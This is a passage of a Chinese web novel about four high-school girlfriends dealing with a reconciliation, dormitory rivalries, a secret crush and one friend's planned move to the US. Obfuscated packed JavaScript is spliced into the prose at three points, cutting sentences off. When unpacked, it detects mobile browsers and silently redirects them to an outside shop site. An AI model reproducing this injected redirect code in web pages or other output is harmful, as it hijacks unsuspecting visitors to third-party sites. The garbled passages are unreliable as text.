讲到最后,赵颖的鼻音开始变得很重,呼吸加剧,眼泪在眼眶里打转,连耳垂都因为上涌的血气而涨得发红……整个人简直都快要哭起来了。 对这一幕,多少有点措手不及的宁执玉赶紧掏纸巾塞给老赵,免得回头被其他同学把“一开学就把赵颖惹哭”这种谣言传出去,回头自己要被老王和老周约谈了。 “好了好了,我原谅你了,不用再说什么了。”宁执玉一边把纸巾往赵颖手里塞一边笑笑呵呵地握住她的这只手,“老赵你也别生我的气了——咱们都别往心里去,这件事一笔勾销!好吗?” 赵颖用力地点点头,但还是将脸转到人更少的路边墙壁那一侧,用纸巾胡乱地抹了一把脸。 见此状况,原本悬着一颗心的宁执玉终于暗自松了口气,但面上还是笑容不变地伸手揉乱了老赵的头发。 “哈,傻瓜一个。”她没忍住笑着说。 赵颖不满了:“喂!宁执玉你别搞我头发!我出门前才绑好的——” 27.开学小事 当教室门口的周喜好不容易送走了跟自己腻腻歪歪的男朋友(这个学校里的男友),她发现宁执玉和赵颖已经站在一旁默默围观了不知多久。 一个寒假过去,宁执玉看起来脸上多了点肉,气色也不错,反倒是赵颖看起来像是刚刚去厕所洗了一把脸,整个人显得有点眼睛红红的。 “你们两个……”周喜歪了歪头,目光在两人之间扫来扫去,“怎么感觉气氛怪怪的?” 宁执玉微惊,但还是日常装傻:“有吗?” ——她刚刚上楼前就跟老赵商量好了,寒假的事情就算是过去了,也没必要跟王艺菡和周喜提及关于她们吵了一架又和好的这件事。赵颖也答应了。 因此如今老赵更是连连摇头:“没有啊,周喜你想太多了吧。” 周喜面露狐疑之色,敏锐地想要追问点什么,赵颖赶紧岔开话题:“说起来那个男生……” “嗯?怎么了?” 宁执玉在一旁看戏,帮忙解释:“赵颖的意思是你和现在这个怎么还不分手?” “分了干嘛。”周喜理不直气也壮地反问。 赵颖的语气出现了明显的迟疑:“那你表哥?” ——以她的性格和自我认知,根本想象不出会有人能够在感情方面轻而易举地脚踩几条船这种事,反正她办不到。偏偏好友老周就是做到了,因此赵颖对此既不赞赏,却也不批判,只一味地包容朋友。 宁执玉对于朋友的溺爱也已经达到了“不碰毒,不叛国”这两个最后底线以外,其他一切皆可的程度。 周喜:“网上的男朋友呗。” 赵颖无语地扶了扶自己的额头:“嘶,你别玩脱了就行。” “怎么会?”周喜对朋友们说,“只有你们两人知道,都别说出去就不会泄密。” 宁执玉看了看无奈的赵颖和若无其事的周喜,转过身对准走廊的栏杆外头,将双手聚拢在嘴边形成一个话筒造型,然后开始假装大声地喊:“咳咳,我来宣布一个事儿——” “哇!宁执玉你是要我死无葬身之地啊!”周喜大惊,跳过来从后面一把捂住老宁的嘴,跟她玩闹起来。 赵颖在旁边乐乐呵呵地看着这一幕。 等周喜好不容易把看起来一本正经实则多少有点爱逗人的老宁给降服,她开始关心起据说本学期开始住校的赵颖是否适应这边的生活。 “你的舍友有谁啊?”周喜问道,旋即又想起了什么,“听说钟雅静也住校,不知道会不会跟你一个宿舍。” “嗯……不知道。”有轻微脸盲症的赵颖不负众望地给出了一个回答,“我只碰到了上次在体育课拿篮球砸我们的那个人。” “哦,陆婷啊。”宁执玉反而想起这人的名字了。 赵颖一愣:“原来她姓‘陆’啊?我之前一直记不住她的名字,还以为叫许婷来着。” 宁执玉和周喜:? 不过赵颖眼皮子耷拉着,漫不经心地说:“她刚才想跟我搭话……但我跟她说,找我搭话聊天可以,但她得先跟我朋友道歉——所以她可能接下来会找老宁你聊两句。” “你还惦记这个事情呢?”宁执玉有些惊讶,旋即笑了,“我自己都不是很在意了,喏,你看,我手背上的皮肤都长好了,几乎看不出来色差了。” 周喜心疼地握住她举起的这只手,里里外外摸来摸去,最后得出了“你到底有没有涂护手霜”“你的手比初中的时候还粗糙”的痛心疾首结论。 “我有用护手霜啦……”宁执玉有点心虚地说,“老赵都送了我一支了。” 赵颖乖乖点头。 然而周喜还是不容置疑地说道:“一支哪里够?回头我也送你一支!” “行行行,谢谢姐妹。” 说完不好好护肤的宁执玉,周喜又开始批评起赵颖的这个小毛病,当初班长黄思源天天来找赵颖聊天,结果老赵愣是快过了一个学期才记住人家姓甚名谁。 “咱们的话题怎么就跑到我身上来了。”赵颖也很无语,“差不多得了,你别看到一男一女就开始配对。” 听到这个自己一直刻意回避思考的问题,宁执玉的心里一紧,但得益于她日常的面部表情管理功力尚在,因此旁人看不出有任何异常。 虽然她至今依旧搞不太清楚自己的性取向到底是不是出问题了,却也不敢随意判断暗恋之人的取向——万一人家是直的,怎么办?贸然表白的话,到底是在折磨谁? 然而周喜露出了促狭的笑容看着她们:“青春期不谈恋爱,那还能叫青春吗?是吧,老宁?” 宁执玉在一旁面不改色地点头:“这里建议改名为更年期。” “你们两个……”赵颖无奈地合了合眼道,“请你们凉面土豆吃不吃?” 周喜:“吃!” 宁执玉:“可是老周说好中午要请我……” 面对两个朋友分别的请客,她看起来竟然有点为难的样子 周喜不满意地瞪着这个直肠子的家伙一眼:“我这顿挪到明天再请你,可以吧?” “允了。”宁执玉终于喜笑颜开。 三人搞完今日的报道手续后一起走出了学校,来到学校对面常吃的那家小吃店里找了张桌子坐下,点好菜以后,她们很自然地聊起了唯一缺席的王艺菡。 于是宁执玉把自己知道的事情说了出来。果不其然,两人纷纷吃了一惊。 “老王下周才回来?” “那么爽!” “我也想有个能在美国拿绿卡的父母啊……” “谁不想呢。”宁执玉淡淡地笑了笑。 周喜抬头望着小店的天花板,忽然说道:“她要是知道你住校了,肯定也会嚷嚷着要住校。” 赵颖啼笑皆非地否认:“她哪里住得惯八人寝室?” “跟你住就住得惯呗。”周喜不假思索地回答。 在一旁准备抽空看单词本的宁执玉:“……” 很难形容自己这一刻内心的微妙感受。 于是她扯下书包侧面悬挂的水壶,打算喝两口缓解一下心情,谁知下一秒老周语出惊人。 “诶,你们说,王艺菡有没有可能是拉拉啊?” 噗! 宁执玉一口水直接喷了出去,还好她对面没人坐着,是个空位置,不至于伤及无辜。 周喜和赵颖更是惊得瞪大眼睛,连忙帮忙伸手拍拍背,周喜更是直言不讳:“你那么惊讶干什么?” “咳咳……不是,我就很无语啊……咳……周喜你到底在说什么鬼?”老宁尴尬地咳嗽,接过赵颖递过来的一张纸巾擦了擦嘴上的水痕。 “你别那么老古板好吧。”周喜直白地指责宁某人思想太过保守封建,旋即憧憬道,“现在蕾丝边可是很流行的!” 保守封建的宁执玉没说话,只是一味地擦嘴,神情看起来有点莫名地委屈。 “我真的……老周我服了你了。”赵颖也很无语至极。 此时店主阿姨把三人的凉面土豆端了上来,几个人开始一边吃饭一边继续聊天。 赵颖倒是有点好奇了:“怎么,我们学校有这种人吗?” 有的姐妹,包有的。这张桌上的三个人里头有一个人极有可能就是。宁执玉在心里如此回答。 此时坐在老宁旁边的周喜则是压低了声音,一脸的八卦:“肯定有啊!就是酱酱酿酿……” 赵颖听得一脸懵懵懂懂,满脸新奇。宁执玉也看起来不怎么关心八卦,实则竖着耳朵听得一个字不落。 吃完这顿饭后,外头的午后阳光正好,几人沿着校外的马路一起往家的方向走。 周喜最后总结道:“不过没想到我们身边就有同性恋啊。” 宁执玉沉默地边走路边瞄单词本。 反倒是赵颖听了一顿饭的各种不知真假的拉拉八卦后,若有所思地点评道:“现在同性恋不是很火吗?微博上都还有漫画呢,什么S……什么P的……” “S.C.P基金会?”宁执玉忽然插嘴道。 其余两人面露疑惑:“那是啥?” “你们没听过?” “没有啊。” “自己去查吧。”老宁略带失落地说,因为没人接住她的梗。 周喜兴致勃勃:“是关于同性恋主题的基金会吗?” 宁执玉还是没忍住多解释了两句:“是关于不可名状的怪物和无法理解的危险物品的收容管理基金会,其实本质上是一次网络文学创作,都是虚拟的……” “好吧!”老周顿时失去了兴趣,继续跟赵颖聊原本的话题,“不过两个女生在一起肯定比跟男生在一起舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“暗恋对象啊。”宁执玉说。 OMG! 赵颖和周喜对视了一眼,纷纷从对方眼里看出了熊熊燃烧的八卦好奇心和堪称是大惊失色的震惊:“我擦嘞!什么时候的事情?是谁?男的女的!” “我是个不会早恋的好学生。”宁执玉有点促狭地笑了,因为她这回一次性逗了两个朋友,“所以直到高考结束前,我都不会透露任何一点风声的。” 由于知道宁执玉这人是个说话做事都斩钉截铁的家伙,大家不可能从她嘴里挖出更多消息了……一想到这,周喜顿时抱着脑袋发出了绝望的哀嚎,赵颖也叹着气摇头——她们都为这个看得见摸不着的八卦消息感到心痒无比。 周喜怒斥:“这样卖关子?你还不如一开始就不说呢!” 宁执玉满脸无辜:“我是个对待朋友很诚实的人。不知道怎么撒谎。” “放屁,你以前没少撒谎!好几次说没空,结果是去找个地方学习,回头还被我们撞破了——”周喜痛心疾首地清点“黑历史”。 一旁的赵颖也试图劝说老宁说出暗恋对象到底是谁,不说的话就要挠她痒痒了!然而老宁只是笑着躲开,无论如何严刑拷打都不肯吭声。 就在几人拉拉扯扯僵持不下之际,远在美国的王艺菡忽然打电话过来了。 赵颖暂时饶了宁执玉一命后,打开手机通话的免提。几个人聚在路边,七嘴八舌地闲聊,跟王艺菡如往日那般隔空吹水起来。 聊了一会儿后,赵颖说大家都很想念她,让老王早点回来。 周喜更是笑嘻嘻地胡乱造谣:“老赵跟我说她每天都在被窝里边想你边哭呢。” 宁执玉:“啊?” 她看向赵颖,满脸惊奇:“真的假的?” “……当然是假的啊!老宁你也是笨蛋吗?”赵颖哭笑不得,“周喜在那里乱讲,你也信。” “不是就好。”王艺菡格外轻快爽朗的笑声从电话那端传来,“不然我今年就要去美国留学了,怕你到时候分离焦虑,眼睛都哭瞎呢。” 三人这回是齐齐地感到震惊了:“什么?!!” 28.令人不解 跟远在美国的王艺菡的通话结束后,三个人的情绪都不太好了。 虽然老王亲自声明这个高二下学期她还会回国内处理一下学籍和其他事情,加强补习英语,具体得等明年高三再出国留学……但是这对于玩了好几年的小伙伴们而言无异于是一个突如其来且令人伤心的消息。 分别,无论何时何地,都是那样的令人难以接受。 离别的双方通常不会很快意识到这件事的背后意味着什么,只有在很多年后,才会偶然间回忆起关于那些曾经的放声大笑和最单纯的快乐。 但如今唯独有一件事是可以确定的,那就是——王艺菡真的要离开陈水这座小县城,与太平洋彼岸的父母家人团圆,也要离开大家的平凡生活了。 理智上,谁都知道这个选择没有错。人往高处走,水往低处流……人家父母有能力有财力托举女儿的学业,为王艺菡的未来铺路和规划,谁又能指责或者阻拦什么呢?没道理嘛。 但是情感上……该伤心还是会伤心的。 赵颖挂断电话后眼眶直接就红了,哪怕周喜安慰她“还有我和老宁陪着你呀”,她也一言不发地没有回答,只是用手捂着眼睛,想要遮住那不受控制的汹涌眼泪。 见此状况,周喜神色顿时沉寂了许多,看起来也不太开心了。宁执玉觉得她大概也很纠结,一方面是老周也真的舍不得王艺菡出国,另一方面估计是觉得赵颖这么明晃晃地表示出这种近乎失恋的痛苦神情令她格外不理解。 大家都很烦恼的样子。宁执玉其实听到这个消息后也挺心情复杂的。 羡慕,回忆,懊恼,不快……相比于从小生活在陈水的两个朋友,对于“出国”这个概念没有什么实质性的实感。但是宁执玉不同。 她清楚地知道那是怎样的一种生活方式,她完整地体验过,至今她依旧记得那些仿若隔世的感受。 ——她在夏天去马尔代夫度假与潜水,在草场最绿的时候骑着马奔驰而过,风把帽子吹向沙漠的蔚蓝高空,跳伞时纵身跃出舱门之际感受着那转瞬即逝的失重感,在最寒冷的日子里出国滑雪,太阳照在巍峨的雪山峰顶之上,宛若给那陡峭高冷的雪山戴上了一顶稀世的金帽子。 妈妈把滑累了的她抱在怀里,爸爸兴冲冲地端来山顶餐厅售卖的昂贵热奶茶,一家人就这样快乐地享受着假期和眼前的风景。 那个时候,她还有家,有父母,有钱,有健康,有朋友,有学业和大好前途。 什么都不缺。 只要负责享受人生就好了。 那样的日子多么美好,多么……令人回忆起来都像是心如刀割般的痛楚。 想到这里,宁执玉疲惫地闭上了眼睛,耳畔传来陈水县城里商业街那日复一日的寻常广告声响。 过去……就好像梦一场。 ………… …… 第二天是周一。高二下学期正式开学了。 今早早读的时候宁执玉注意到赵颖依旧学习的兴致不高,甚至还有点黑眼圈……估计是昨晚失眠。 反倒是班主任贺亚红老师对全班同学宣布了本学期的重要任务:这学期必须学完高中三年所有知识点,因为所有人都要在明年的高三上学期开始第一轮的知识体系大筛查阶段。 但这对于老宁而言不是难事,因为她早已自学完了高中三年的所有知识点,并且通过一个寒假的努力学习,目前开始第二轮的筛查学习了。 课间的时候,宁执玉正打算出去透透气,哪怕上个厕所也好——她可不是那种一个上午都埋头死读书,连课间时间都在做题的人——结果一个娇小的身影闪现到她的课桌前,低着头问道:“宁执玉,你……现在有空吗?” 居然是陆婷。 陆婷是来为上学期的体育课事件道歉的吧……其实宁执玉多少有点烦,如今她根本不想纠缠这件事,而且觉得陆婷这人一点道歉的诚意都没有。 正常人会拖那么久,还在舍友反复地逼迫下才来道歉吗? 想到这里,宁执玉的眼珠子猛然转向不远处坐在位置上的赵颖和站在她边上原本正在说话的周喜,发现她们两个此时纷纷住嘴,并冲自己投来鼓励的眼神,顿感无奈。 算了,赶紧解决掉这事情吧。 “有啊。怎么了吗,陆婷?”她装作一无所知的模样反问道。 陆婷看起来更紧张了,双手攥紧在校服的长袖里,一副生怕自己下一秒要被老宁抡起课本殴打的紧张模样。 “我、我们可以出去说两句话吗?” 宁执玉:“……” 她长得有那么凶吗。明明什么都没说,也没做。 这个时候就能体会到这道刀疤给自己的生活和个人形象带来了什么影响。 “好,走吧。”宁执玉点点头,推开椅子站起身,跟陆婷一前一后地出去了。 教室里的赵颖和周喜目送这气氛诡异的两个同学出门,过了几秒周喜才问:“她们不会打起来吧?” “怎么可能!”坐在位置上的赵颖用手掌撑着自己的下巴,哑然失笑,“我跟陆婷不熟,先不说她了。就单说老宁……这家伙不喜欢跟人发生冲突,所以也肯定会很克制的。” 周喜仔细回忆过去几年大家的相处模式,发现果然如老赵所言那般,宁执玉面对各种突发状况和鸡飞狗跳的场面时往往显得很稳重……甚至稳重到都有点刻意压制冲突规模的意思了。 “而且。”周喜听见赵颖此时漫不经心地又说了一句,“宁执玉这人其实比很多人都要温柔。” ……诶? 周喜并不是不认可这个观点,只是她单纯觉得,赵颖说这话时的神态和语气都有点微妙。 什么情况?老周感到轻微的困惑和不解,但随后很快又因为被别的同学叫去聊天而把这个疑问抛之脑后了。 教学楼走廊的尽头是楼梯口,连通上下,如今课间时间有好几个同学在这里跑来跑去,上蹿下跳的。 但唯一的好处是旁边有墙壁,不怕有人偷听。 眼看陆婷不知道还想把自己往哪个犄角旮旯里带,宁执玉赶紧劝阻道:“我觉得这里就行了吧?走远了不好,等会还有课呢。” 陆婷回头看了她一眼,过长的刘海遮住了她的眉毛,显得整个人格外的弱气和阴郁:“……哦,好吧。” 所以你原本想带我去哪里聊天? 宁执玉内心吐槽,但表面上还是一脸严肃地看着这个身高比自己矮了一头的女同学。 她不会在不熟的人面前展露自己身为沙雕的那一面。 尽管宁执玉小时候是个土生土长的羊城人,但她的父辈里有战乱时期逃难过来的北方人,因此直系后代大部分都继承了一副大的骨架子。 老宁也不例外。她赤脚时的净身高都能达到168厘米…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248504|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这对于身为南方女生和青春期营养摄入严重不足的她来说,已经算是“高人一等”了。不然以正常的生活条件而言,这姑娘的个头起码要蹿到175+才有可能止步。 所以当宁执玉一旦不开口,面无表情地顶着脸上那道伤疤“俯视”着矮小的陆婷时,这人看起来就……不像个传统意义上“三好学生”的样子。 但出乎老宁预料的是,明明很紧张的陆婷最后还是非常勇敢地开口道歉了:“上学期……那节体育课,不好意思。” “嗯。”宁执玉简短地应了一声,表示自己有在听,而非在走神。 谁知陆婷仿佛被激励了一样,后面的话语越说越流利,一看就是提前打过腹稿。 然后说着说着,突然就没了。 但是此人的这番“道歉”言论里既没有关心宁执玉先前手背上受的伤,也没说要补偿什么。 啊?就这?怎么连道歉信都写不好…… 宁执玉愣了一下,对上陆婷那双蕴藏着莫名期冀眼神的眼睛,这才反应过来,抱着赶紧把这人敷衍过去的心思随口说道:“行了,这事儿都过去了,我也没放在心上……总之陆婷你以后打球小心一点,再砸到人就麻烦了。” 陆婷的视线不知往哪里飘了飘,轻轻地“嗯”了一声。 旋即就在老宁以为自己终于可以离开之际,陆婷相当期盼地说:“那宁执玉你回头能跟赵颖说,你已经原谅我了吗?” 宁执玉:? 她感到很奇怪,听说陆婷跟老赵是一个寝室,难道陆婷就那么迫切地想要跟新舍友打好关系吗? 于是老宁忍不住发问道:“陆婷,你的篮球在课上砸伤了我,现在你来找我道歉——所以我觉得这是我们两个人的事情吧?跟赵颖有什么关系?” 宁执玉自忖自己的疑问合情合理,老赵没有被球砸伤,这次也充其量就起了一个提醒人的作用……怎么感觉陆婷更想跟老赵道歉,而非跟她宁某人道歉?是错觉吗?? 然而原本低着头畏畏缩缩的陆婷突然抬起头来怒视宁执玉,声音的语调也变得有些尖锐起来,竟然是有些发怒:“所以你不打算跟她说吗!” 宁执玉:??? 什么玩意儿,原来这一切都是“赵颖的任务”? 不过她并没有急着生气,而是好奇地打量着焦躁不安的陆婷片刻,方才慢悠悠地解释道:“这事我肯定会跟老赵说,也没必要瞒着谁——我一直觉得把同学之间的一些小误会解开,对大家都好,你说是吧?” 陆婷:“……” 虽然她没有答话,但宁执玉给出的明确答复让她的身躯一下子放松下来,眼神也不再像刚才那么咄咄逼人了。 然而宁执玉的核心问题在下一刻毫无征兆地袭来。 “但你这么在乎赵颖对你的看法……难道是,你喜欢她?”老宁压低声音到仅有彼此两人能听见的程度,试探着问。 毫无防备的陆婷被这一下给多少诈出点真情实感来,当场就惊恐地瞪大眼睛,小脸瞬间涨得通红,试图用色厉内荏来掩盖某些真实心情:“没、没有!我听不懂你在说什么!” 说罢,她就逃也似的转身逃跑了。 “……什么情况。” 宁执玉也没有去追这人,只是皱着眉头看着陆婷仓皇消失在走廊上的背影良久,方才闷闷地长出一口气。 ——啧,这人算是情敌了吗? 29.宿舍狼人杀 随着上课铃声响起,在外看风景的宁执玉慢悠悠地回到了教室,一进门她就注意到赵颖默默抬头看着自己,以及周喜在给自己眉飞色舞地打眼色,意思是“事情解决没”……于是老宁几不可察地点了一下脑袋,表示“搞定”。 两个朋友顿时都放心下来,继续各干各的上课了。 回归座位后的宁执玉能感觉有一道格外紧张的视线从班里的角落方向时不时投过来。不过她没搭理,也没打算把陆婷的微妙心事跟任何人讲。 ——感情这种东西,旁人哪里看得清楚? 万一陆婷并没有真的喜欢老赵,而是自己的判断错误呢?那她宁执玉岂不成了谣言制造者? 而且更大的可能是赵颖本身根本不喜欢女生,所以别说一两个情敌了,就算来一卡车的情敌,暗恋她的女生们全都是自讨苦吃……宁执玉一想到这个就心酸。 所以宁执玉目前还是打算专心学业,考个好点的大学,把儿女私情这种捉摸不透的东西暂时抛之脑后。 结果当天中午放学后,正在几人打算要去吃饭之际,意外又发生了——赵颖的新舍友钟雅静居然跑过来主动邀请老赵吃饭。 不对,此人喊的是“小赵”……简直就跟职场上下级一样诡异的称呼。 周喜如同被激怒的猫那样从位置上蹦起来,一下子拦住了这个社会姐的约饭:“她要跟我和老宁一起吃。” 钟雅静看看坐在一旁面无表情的宁执玉,又看看气鼓鼓的周喜,旋即笑着问有点表情微妙的赵颖:“你要跟她们一起吃?” “嗯嗯。”赵颖含含糊糊地回答,“你们先去吧。” 等钟雅静和她的那位短发舍友一起走远了,周喜方才低声骂了句“傻逼”。 反倒是默不作声的宁执玉望着那两人远去的背影,有点莫名担心自己是不是又要情敌喜加一了。 拜托,别来了…… “你怎么那么讨厌她?”赵颖有点好奇。 “我不是说了吗?”周喜愤愤不平,“她上次找我要老王给带的外烟,我不给她就说我是没见过世面!” “呵呵,她那么城里人怎么不去找烟代,跑来抽我的?神人一个……” 面对老周的骂骂咧咧,朋友们当然是选择无条件地安慰她。 “好了别气了,咱们吃饭去。” 三人走在去食堂的路上,宁执玉忽然想起了徐敏敏,想起了陆婷,甚至想起了刚才的钟雅静……她有点静不下心来背单词,索性直接问赵颖:“你跟刚才那个舍友很熟?” “我才来住校一天啊姐姐。”老赵很无语地耷拉着眼皮,“你觉得我真的会跟这帮舍友很熟吗?” “难说。”宁执玉挠了挠脸颊,若有所思道,“感觉赵颖你是那种会走奇怪桃花运的人。” ——这句话里面多多少少包含着苦涩的自嘲意味,但是另外两个朋友明显没有听出来这一茬。 赵颖先是愕然,然后是无语:“宁执玉,你能不能说点好听的?” “让我说吉利话是要付费的。”老宁日常一本正经地胡说八道。 这回别说赵颖了,就连一旁的周喜也笑着探出头来骂她:“钻进钱孔里淹死你得了。” 宁执玉由衷道:“那可太好了。” 不过兴许是开学第一天总有些出乎预料的事情,当天晚上宁执玉回去继续给自家舅舅的烧烤店当免费的牛马苦力时,住校的赵颖居然给她打电话过来了。 那个时候的宁执玉正坐在后厨的板凳上洗洗刷刷,在用洗洁精和热水浸泡一大盆油乎乎的铁签子,她的耳朵上挂着华强北20块一副还包邮的白色蓝牙耳机,听着手机里面提前下载好的英语新闻播报,就当是在做听力训练。 老宁以前的英文水平是挺不错的,毕竟是奔着出国去的目标而开展的相关学习,无论是书面功底还是日常交流都能做到优秀的水平,还考过雅思,拿到5分——虽然这项考试通常是针对大学本科及以上的英语能力测试。 但在来了陈水这个连日常普通话都带着浓重西南地方口音的小县城后,想要保持外语的语感就变成了一件难上加难的事情。 宁执玉也说不好自己还能剩下几分以前的功力,只能说为了高考分数,她必须尽量保持那种可贵的外语语感,延缓其消退速度。 毕竟她感觉自己现在连日常粤语都快不会说了,脑子里一时间只剩下“扑街”“冚家富贵”之类的骂人词汇…… 但今晚她才听了不到半小时的英语广播新闻,老赵的电话就打过来了。 宁执玉看看周围嘈杂的环境,发现无论是忙于烧烤的舅舅还是在猛火爆炒菜肴的李师傅都没有关注自己,因此她接通了电话。 “哈喽……”赵颖略显迟疑的声音模模糊糊地传到手机里来,“你现在方便说话吗?” “方便啊!不方便我也不会接啊。”宁执玉觉得这家伙怎么净问一些傻问题。 赵颖讪笑:“哦哦,那就好。” “怎么啦,那么晚还打电话过来……住校不适应?想家了?”宁执玉带着几分调侃意味的语气回答道。 赵颖则回答:“前面一句很对,后面一句不那么对。” 两人有一搭没一搭地闲聊瞎扯了几句,老赵也隐约听见宁执玉那边所处后厨的杂乱噪声,正有点纠结为难之际,宁执玉干脆主动问:“你这是遇到什么为难的事情了吗?” 赵颖微惊:“啊?你怎么知道!” “不然你会没事大半夜地给我打电话吗?”宁执玉没好气道,“日常闲聊的话你肯定会优先找王艺菡,而不是我和老周。” “呃……”虽然这是事实,但这么明摆着说出来,赵颖多少有点蚌埠住。 “好啦,其实我也没介意,还不了解你这性格吗。”宁执玉小心翼翼地捞起面前的铁签开始用铁丝球洗刷表面,同时避免被其戳伤,“说吧。” 既然如此,赵颖就直说了今日困扰她的事情——此时已经是宿舍楼熄灯后的深夜时间了,只是她偷溜出来趴在外头走廊的栏杆处给宁执玉打电话,反复确认周围无人后才敢讲的。 如今的204宿舍的八人成分组成颇为复杂,分别是赵颖这个新来的,陆婷,钟雅静为首的四位社会姐,还有两个只知道看小说的宅女。 这成分搭配组合一看就很适合搞校园霸凌。 本来赵颖今晚回到宿舍后跟陆婷聊了几句,两人又在一起洗衣服之际听了陆婷的诉苦,大致是关于钟雅静等人会带头霸凌她、欺负她的这件事。 ……赵颖完全看得出来,陆婷是真的厌恶钟雅静她们几人,神态不像是装的。 就在赵颖对此深信不疑甚至对钟雅静产生了几分恶感后,钟雅静像是察觉到什么,却话中有话地奉劝赵颖别太相信陆婷的话语。 钟雅静认为陆婷此人不是表面上那么简单,跟她相处时最好防着点。至于为什么,以后赵颖自然会明白的。 怎么如此复杂!? 大半夜听完双方辩手互相攻讦的真情实感辩词,赵颖整个人都麻了。 她本来就并非自愿住校,脱离自家熟悉的环境后,再加上这两天想着马上要出国的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁执玉格外平静地说:“……赵颖,你是我朋友,我只会在乎你有没有受伤。” 赵颖格外沉默地听着,宁执玉也跟她挑明了讲:“说实话,我根本就不在乎什么陆婷,什么钟雅静,到底谁才是正义,谁才是撒谎的一方——这些人和破事我全都不放在心上!” “我唯一担心的就是你在住宿期间会不会因此受伤,会不会因此难过……仅此而已。” 此时后厨的忙碌工作暂时结束了一轮,原本有些杂音的通话背景在这一刻突然变得安静下来,以至于宁执玉能够听见电话那头友人清晰而沉重的呼吸声。 顿了顿,宁执玉又有点作贼心虚地补充道:“呃,那啥,我相信王艺菡和周喜知道这事儿的话,多半也会跟我想得一样啦。放心吧,我们几个都永远支持你的!” 手机那端的赵颖终于再次笑了一声,这次她的笑声终于轻快了一些。 “啊,我知道,我都知道的……谢了,老宁。” 虽然朋友的笑声远不如往日那样活泼轻快,但宁执玉觉得自己应当多少是帮上了点忙。哪怕只有一点点。 “那老赵你今晚接下来忙什么?” “睡前再看一下书吧。”赵颖无奈地说。 “加油喔,后续有什么事情及时联系我们,以及我就期待你的住宿‘狼人杀’进展啦。”宁执玉热情地鼓励道。 赵颖干笑两声:“好,到时候给你实时更新八卦动态。” 30.内外交困 开学的第一个周末,王艺菡从美国风尘仆仆地回来了。 宁执玉之所以会知道这件事,是因为周五晚上老王就给她们几个朋友都发了短信,约明天出去喝下午茶,顺带分发礼品。 等到了周六见面的时候,背着一个大背包的王艺菡穿着一件灰蓝色的羽绒服,戴着一顶紫色的针织帽,微翘的短发似乎比过年前要短一些,整个人看起来兴高采烈的样子。 人逢喜事精神爽大概说的就是老王现在的状态吧…… 大家坐下来后,王艺菡开始哐哐哐地从背包里往外掏东西。 零食、巧克力、外国香烟……以及每个朋友的专属礼物。 周喜收到一直想要的一个小众品牌的特色时尚包包,而且还是非山寨,绝对正版,因为是王艺菡替她亲自买的。 宁执玉得到的礼物也非常符合这个实用主义智商者的欢心——是Asics的一款运动鞋,目前国内市场尚未发售,但是在美国那边已经上市售卖了。 碍于朋友当面,老宁没好意思掏出手机来扫同款图案询价,但根据她对这个品牌价格的大致了解,这么一双新款运动鞋在国内起码也得七八百起步。 她当场试了试新鞋子,在原地跑跑跳跳,发现非常合脚,足弓的支撑性和回弹程度也好得惊人……属于是一旦穿上就没法再回到以前那种普通运动鞋的程度了。 王艺菡见她这么喜欢这鞋,也很高兴,好整以暇地用手背撑着下颔说:“我看你有时候会晨练,觉得你应该会喜欢这类东西。说实话,你那破鞋子早该换了。” 宁执玉对此没有任何抗拒或者抵触心理——毕竟她的旧运动鞋是真的找菜市场的修鞋匠缝缝补补了好几年还舍不得换。 “不过王艺菡你怎么知道我的鞋码?”老宁很疑惑。 “哦,之前为了筹备体育高考的跑步项目,班上不是有一次组织大家统一买钉鞋吗?”王艺菡得意得像是一条等待被夸夸的小狗,“我跟班长特意问了你的鞋码……想给你一个惊喜来着。” 宁执玉瞬间了然,连夸老王聪明机智……王艺菡顿时喜笑颜开。 “还好合脚。”周喜在旁边也高高兴兴地说,“不然退换货得有多麻烦。” “没事啊!既然是我买的礼物,真要退换的话,我来出这个邮费!” 王总一如既往地大包大揽,于是大家都笑了起来。 “说起来……”周喜的眼珠子转了转,狡黠地看向老王,“怎么不见你给赵颖拿礼物呀?” 一旁的赵颖正在默默地喝冰奶茶,听到这话顿时表情有点古怪,但还是抬起手露出半截白皙的手腕和上面一抹蔚蓝:“在你们来之前老王已经给过礼物了。” “看!是同款!”王艺菡也把自己的一只手竖起来,衣袖微微往下滑,从而露出了那个一看就是某个奢侈品品牌的蓝色编织绳手链。 老周震惊了:“卧槽?为什么我和宁执玉没有手链!” “因为商店就卖这一对手链呀。”王艺菡直爽地勾住赵颖的肩膀晃了晃,赵颖顿时傻乎乎地笑了。 但是周喜根本不想接受这样的解释,她毫不掩饰地露出了羡慕嫉妒恨的神态,并用手肘捅了捅坐在自己身旁的宁执玉:“老宁,我们两个好惨,已经沦为统一战线了!你快说点什么?” 心里正五味杂陈的老宁有点猝不及防地抬头:“啊?我要说啥?” ——祝那两个好朋友哪怕中间隔着个太平洋都能百年好合?说这样的话吗?对她宁某人而言是否太过残忍了一点。 坐在桌子对面的赵颖仔细看了看宁执玉此刻茫然中带着一点不安的表情,突然意识到了什么,忍不住关心道:“你最近白天走神的次数是不是多了点?” 宁执玉:“……有吗?” 周喜像是发现了新大陆那样突然亢奋:“有的!以前你就算在背书都能听我们聊天!现在居然跟不上我们的聊天节奏了——” 目前还有点倒时差的王艺菡顿时不解:“诶,为啥,没睡好吗。” 